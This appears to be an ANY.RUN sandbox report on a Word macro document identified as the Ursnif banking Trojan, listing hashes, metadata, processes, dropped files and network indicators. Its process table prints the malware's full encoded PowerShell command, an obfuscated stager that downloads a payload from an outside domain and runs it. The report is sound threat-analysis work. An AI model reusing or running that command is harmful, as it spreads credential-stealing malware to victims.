analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

info_04.25.doc

Full analysis: https://app.any.run/tasks/cc55669c-69ff-4a91-be22-c38a8e5f5992
Verdict: Malicious activity
Threats:

Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world.

Malware Trends Tracker     >>>
Analysis date: April 25, 2019, 14:09:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
gozi
ursnif
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Apr 25 07:38:00 2019, Last Saved Time/Date: Thu Apr 25 07:38:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0
MD5:

D63CA98DF13D09C10B825FC949BB50F7

SHA1:

1519B458C1F5258E715425C62221B4E67C666CE4

SHA256:

3850BE732CD61154B341FCBBAC5E068B9B2D36ED1B8196AE63AFBA561B5B261B

SSDEEP:

1536:9GDMeOY5C6OJsdBpZWt+a9uDCD8X9e+7C1yYO8b2kgJoeC2+w/ymzYdAK:9G4eOY5CTsdA+b917C1yYO8KoeVyutK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • URSNIF was detected

      • powershell.exe (PID: 2932)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2932)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3360)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3360)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:04:25 06:38:00
ModifyDate: 2019:04:25 06:38:00
Pages: 1
Words: -
Characters: 5
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 5
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs #URSNIF powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3360"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\info_04.25.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2932powershell -e JABwAEEAQQBBAEEAeABjAD0AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAFQAQQAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAG8AQgAnACwAJwA0AFgAJwApACwAJwBBACcAKQApADsAJAB6AFoAawBRAEIAQQAgAD0AIAAnADQANAAyACcAOwAkAGoAMQBBAG8AWgBBAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACcATABBACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBBAEEAeAAnACwAJwB4ACcAKQAsACcARAAnACkAKQA7ACQAawBEAEEAYwBCAEMARAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAegBaAGsAUQBCAEEAKwAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAeABlACcALAAnAC4AZQAnACkAOwAkAEYAeABRAEEAQQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcASwBBACcALAAnAEIAQQA0ACcAKQAsACcAUQBBACcAKQA7ACQAUABBAEQAQQBEAEQAbwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBgAGUAVAAuAHcARQBCAGMATABgAGkARQBuAHQAOwAkAHQAMQBBAEIAQgBaADQAPQAoACIAewA0AH0AewA3AH0AewA1AH0AewAxADAAfQB7ADMAfQB7ADEAfQB7ADkAfQB7ADYAfQB7ADgAfQB7ADIAfQB7ADAAfQAiAC0AZgAnAGYAZwBzACcALAAnAHAAJwAsACcALgAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAC8AJwAsACcAbwBlAHgAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBmACcAdAB0AHAAJwAsACcAaAAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAGcAJwAsACcAbAAnACwAJwA6AC8ALwBoACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGcAcgAnACwAJwBlAGcAJwApACkALAAnAHgAeQB6ACcALAAnAD0AcABvACcALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcAegBsACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAbwAnACwAJwByAGkAYQAnACkALAAnAC4AJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAbwBzADUAJwAsACcAZQBnACcAKQAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAcAA/ACcALAAnAHAAaAAnACkALAAnAG8AMgAuACcALAAnAGwAJwApACwAJwAvAHMAawAnACkALgAiAHMAcABsAGAASQB0ACIAKAAnAEAAJwApADsAJABqAGsAbwBBAEMAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAG8AYwBaACcALAAnAEEAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHcAJwAsACcARABBADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAEEARABVAEEAUQBRAF8AIABpAG4AIAAkAHQAMQBBAEIAQgBaADQAKQB7AHQAcgB5AHsAJABQAEEARABBAEQARABvAC4AIgBEAGAAbwB3AG4AYABMAE8AYQBEAEYASQBsAGUAIgAoACQAcwBBAEQAVQBBAFEAUQBfACwAIAAkAGsARABBAGMAQgBDAEQAKQA7ACQAVgBHAFEARAB4ADQAMQA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB2ADQANAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBYAEcAQQAnACwAJwBYACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGsARABBAGMAQgBDAEQAKQAuACIAbABlAE4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANgA4ADQANgApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACAAJABrAEQAQQBjAEIAQwBEADsAJABrAEEAbwBCAEEAXwAxAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAbwAnACwAJwBEAEMAQwAnACkALAAnAGgAQQAxACcAKQA7AGIAcgBlAGEAawA7ACQARgAxAEEAQQBBAFEAPQAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAgACcAbwBBAF8AJwAsACcAXwBDACcALAAnAGMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAFEAQgBrAG8AVQA9ACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAnAFUAJwAsACcAbQBVADQAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwBBACcALAAnADEAQQBrACcAKQApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 356
Read events
892
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
3360WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR63EC.tmp.cvr —
MD5:—
SHA256:—
2932powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1612EATICJF8PAHFB6FQ.temp —
MD5:—
SHA256:—
3360WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$fo_04.25.docpgc
MD5:8C2AD2367E1858E160C7C2A52EB97509
SHA256:CE281AE96FC23CF0CA42F7EA904C07BFD2B54472CA328FDA526CE0B59A42D0F5
2932powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2932powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF106fc3.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
3360WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:65A14A601AF6597AC6E48922957494B4
SHA256:0E8EE7C820D5510C7AAE1F3C795EAB1CEB347B99887978BB86C8F4DE742165CB
3360WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:4585CB4A415EFB9E79A41AEB51B0DB82
SHA256:621F336A4C92C38213D4FAE070648C244625D1C5A2F575C4943C659BABC24482
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2932
powershell.exe
GET
404
212.109.194.113:80
http://hlggregoriazl.xyz/skoex/po2.php?l=poegos5.fgs
RU
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2932
powershell.exe
212.109.194.113:80
hlggregoriazl.xyz
JSC ISPsystem
RU
suspicious

DNS requests

Domain
IP
Reputation
hlggregoriazl.xyz
  • 212.109.194.113
suspicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
info_04.25.doc